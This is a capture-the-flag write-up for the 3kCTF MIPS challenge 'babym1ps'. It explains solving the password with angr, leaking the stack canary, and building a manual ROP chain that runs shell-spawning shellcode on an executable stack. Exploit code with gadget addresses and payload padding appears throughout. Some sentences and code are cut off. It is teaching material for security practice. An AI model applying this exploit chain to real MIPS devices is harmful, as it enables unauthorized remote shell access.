Tags: mips pwn rop

Rating:

# babym1ps

**Pwn**
**499 points**
**3 solves**

>nc babymips.3k.ctf.to 7777

provided file: <https://git.lain.faith/BLAHAJ/writeups/media/branch/writeups/2020/3kctf/babym1ps/challenge>

## writeup

the provided binary is MIPS, as you'd expect from the name. there's a fairly bog-standard stack
overflow in the main function, however it can only be triggered after successfully entering a

![ghidra decompilation of the main function showing the mentioned challenges](https://git.lain.faith/BLAHAJ/writeups/media/branch/writeups/2020/3kctf/babym1ps/main.png)

you can manually reverse for the password, it's not super complicated but just to get more familiar
with using angr, i used angr.

python
# idk what this is, it's not important
p.hook(0x00400550, angr.SIM_PROCEDURES["stubs"]["Nop"]())
# shim other functions
p.hook(0x004091d0, angr.SIM_PROCEDURES["libc"]["puts"]())
p.hook(0x00408490, angr.SIM_PROCEDURES["libc"]["printf"]())

# shim the rand() looking function to return the same stuff as a real concrete execution
class RandShim(angr.SimProcedure):
def run(self, vals=None):
i = self.state.globals.get('fakerand_idx', 0)
val = vals[i]
self.state.globals['fakerand_idx'] = i + 1
return val

p.hook(0x00407bf0, RandShim(vals=[ 0x67, 0xc6, 0x69, 0x73, 0x51, 0xff, 0x4a, 0xec, 0x29, 0xcd, 0xba, 0xab, 0xf2, 0xfb, 0xe3, ]))

since this is a static binary, we can hook functions with angr SimProcedures to save time (and to
avoid possible cases of angr just not terminating at all). i guessed what the function calls are in
main based on the parameters and how they're used. i also recorded the values returned by some sort
of PRNG, probably rand() during a concrete execution and added a custom SimProcedure for that. the
rest is straightforward

python
# call main
st = p.factory.call_state(0x004005e0)
sm = p.factory.simulation_manager(st)
# find where it prints OK, avoid where it prints No
sm.explore(find=0x004007e4, avoid=0x00400820)
print(sm.found[0].posix.dumps(0)[512:])


this gives a password of dumbasspassword. next, to defeat the stack cookie check, the cookie can
be leaked by the printf() call for the username, since that will keep printing until it encounters
a null byte. the LSB of the cookie is always null, but by providing an overwrite of 1 char into the
cookie we can leak the whole thing. just remember to set the null back with the next overwrite.

python
log.info("performing stack leak")
p.send("A" * 129)
i = name.index(b"A")


now we run into some challenges. it turns out this binary does not use NX, so the stack is
executable. we can write shellcode on the stack, but we don't necessarily know where the stack is
because of ASLR. therefore, we need a ROP chain to get the stack pointer and jump to it.

MIPS ROP is interesting (similarly to ARM ROP) because unlike i386 and amd64, the return address is
stored in a register ra rather than directly on the stack. so instead of most every function
epilogue being able to work as a ROP gadget, only epilogues that pop ra from the stack and then
return are applicable. there are also some gadgets involving the temp register t9 - which is used
by MIPS compilers to load certain library function calls from gp or other registers. so it's
really a mix of both return- and call-oriented programming. another important thing about MIPS is
that each branch/jump has a _delay slot_, the instruction directly after the branch gets executed
before the branch/jump gets taken, and also if it's not taken. the delay slots are prefixed in
ghidra with _. this means useful gadget operations can actually come after the corresponding
jalr, for example.

it turns out pwntools is fairly useless for MIPS ROP, and i also tried a port of some IDA scripts to
ghidra <https://github.com/tacnetsol/ghidra_scripts> but these didn't really turn up good results,
particularly for obtaining the stack pointer in a register, and suffered from the issue that ROP
gadgets were not cached between runs which made script runs take unnecessarily long.

so instead we have to manually search for gadgets. first, it's important to note that the return
from main gives control over ra and s8 only, so we will need to add more gadgets that load
registers from the stack if needed.

![epilogue of main showing control of only s8](https://git.lain.faith/BLAHAJ/writeups/media/branch/writeups/2020/3kctf/babym1ps/main_ret.png)

first, i did a ghidra search for any addiu instruction from sp to a0. this is because of a
strategy i actually discovered last week (i'm not really convinced it's novel, but i haven't seen it
anywhere) of returning to entry as the last gadget, because entry loads main to a0 and then
calls into libc init that will eventually execute a0. now it turns out this binary actually has a
different gain shellcode execution gadget i just didn't look hard enough, but whatever this works.

![the code of entry, demonstrating the above](https://git.lain.faith/BLAHAJ/writeups/media/branch/writeups/2020/3kctf/babym1ps/entry.png)

i wasn't able to find a useful sp->a0 gadget but i did find an sp->a1 gadget. however this takes
its next return address from s4 as you can see it moves s4 to t9 and then calls (in mips, move
is equivalent to bitwise or with 0). there's another tricky part of this because it writes s3 to
the stack, and this actually ends up corresponding to the return address of the last gadget we need
so s3 will need to be controlled for that too.

in order to control s4 we need a gadget to come before this, and there are lot of them available
because a lot of epilogues pop s* registers, but i selected for one with a reasonably small stack
shift because we are technically byte-limited here.

finally, we need a gadget to move a1 to a0. i found an interesting gadget for this which returns to
ra after branching for some reason.

![final gadget we need, before branch](https://git.lain.faith/BLAHAJ/writeups/media/branch/writeups/2020/3kctf/babym1ps/rop_2_1.png)
![final gadget we need, after branch](https://git.lain.faith/BLAHAJ/writeups/media/branch/writeups/2020/3kctf/babym1ps/rop_2_2.png)

so to summarize, the ROP/COP gadgets are:

- gain control of more registers, particularly s4 and s3. then return to next gadget by popping
ra
- load a stack address into a1, write s3 then return to s4 (which we previously loaded from
the stack)
- move a1 to a0 and return via ra
- hijack entry to get libc to call the shellcode for us

now it turns out the challenge author did it in 3 gadgets but weh. this also works.

and here's the code

python
log.info("performing attack")

pwd + b"B" * (128 - len(pwd))
+ b"CCCC" # main frame - s8
+ p32(0x446d50) # main frame - saved ra to gadget 0
+ b"D"*24
+ p32(1337) # s0
+ p32(1338) # s1
+ p32(0x464058) # s4 - after next gadget
+ p32(0x4452a8) # ra - next gadget
+ b"E" * 28
+ p32(0x13371337) # entry gadget to call a0 (overwritten by s3)
+ b"\x00" * 24 # final pad before shellcode
)

# pwntools is fun i literally don't even have to write this part myself
sc = asm(shellcraft.mips.sh())

p.interactive()


running the full code against the server gets you a shell, from which you can print the flag.

when doing this sort of thing for a _real_ MIPS device, you have to be wary of the instruction and
data caches screwing you over. in particular, they are not coherent, so if your shellcode is stored
in the data cache it will _not_ show up in the instruction cache unless they get flushed. now this
part really doesn't matter here, since it's executing in qemu (good thing too! i kind of just
assumed it would be inside qemu on the server, but it would have been truly evil if the challenge
were run on a real MIPS board).

the typical mitigation for this is to add additional ROP steps to call sleep() with a small value
-- kernel context switching will flush the caches and then you'll be all set.

## last word

it's kinda ironic to me how the challenge is named such that it appears to be a baby-type
challenge but then it also only got 3 solves. i wouldn't say it's not fairly straightforward once
you get into it, but for me personally having to find gadgets by hand was a major time sink, and it
sucks that the ghidra scripts mostly failed to find stuff even though there _are_ lots of useful
gadgets in the binary. i mean c'mon it's static libc, of course there are useful gadgets.
this one is supposed to be a shark but ctftime is bad -> ?✨

Original writeup (https://git.lain.faith/BLAHAJ/writeups/src/branch/writeups/2020/3kctf/babym1ps#user-content-babym1ps).